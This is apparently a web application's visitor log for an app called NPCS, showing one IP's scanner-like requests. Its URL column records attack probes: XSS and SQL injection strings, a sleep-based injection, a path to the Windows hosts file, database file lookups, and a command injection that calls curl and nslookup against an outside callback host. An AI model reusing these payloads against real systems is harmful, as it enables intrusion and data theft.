ตารางข้อมูลผู้เข้าใช้งานแอปพลิเคชัน NPCS

No IP Address User Agent Browser Page URL OS Visit Time
6706 43.163.112.55 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Safari /npcs/wp-content/plugins/advanced-events-registration Windows 10 2026-02-13 21:24:40
6707 43.163.112.55 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Safari /npcs/npcs/visitor;/u003CScRiPt/Vbqw(9119)/u003C/sCripT/u003E Windows 10 2026-02-13 21:24:39
6708 43.163.112.55 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Safari /npcs/Http:/bxss.me/t/fit.txt/visitor Windows 10 2026-02-13 21:24:36
6709 43.163.112.55 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Safari /npcs/wp-includes/js/dist/vendor/wc.db Windows 10 2026-02-13 21:24:35
6710 43.163.112.55 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Safari /npcs/wp-includes/js/dist/vendor/db1.mdb Windows 10 2026-02-13 21:24:33
6711 43.163.112.55 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Safari /npcs/npcs\'&&sleep(27*1000)*zkbidp&&\'/visitor Windows 10 2026-02-13 21:24:33
6712 43.163.112.55 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Safari /npcs/)/visitor Windows 10 2026-02-13 21:24:32
6713 43.163.112.55 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Safari /npcs/C:/WINDOWS/system32/drivers/etc/hosts/visitor Windows 10 2026-02-13 21:24:31
6714 43.163.112.55 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Safari /npcs/-1 OR 5*5=25/visitor Windows 10 2026-02-13 21:24:26
6715 43.163.112.55 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Safari /npcs/wp-content/plugins/advanced-dynamic-pricing-for-woocommerce Windows 10 2026-02-13 21:24:26
6716 43.163.112.55 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Safari /npcs/npcs/visitor;\" onerror=alert(9153)> Windows 10 2026-02-13 21:24:24
6717 43.163.112.55 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Safari /npcs/|(nslookup${IFS}-q${IFS}cname${IFS}hitepiptijfga4db16.bxss.me||curl${IFS}hitepiptijfga4db16.bxss.me)/visitor Windows 10 2026-02-13 21:24:24
6718 43.163.112.55 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Safari /npcs/wp-includes/js/dist/vendor/users.db Windows 10 2026-02-13 21:24:21
6719 43.163.112.55 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Safari /npcs/bxss.me/visitor Windows 10 2026-02-13 21:24:21
6720 43.163.112.55 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Safari /npcs/npcs/visitor&n924678=v943120 Windows 10 2026-02-13 21:24:19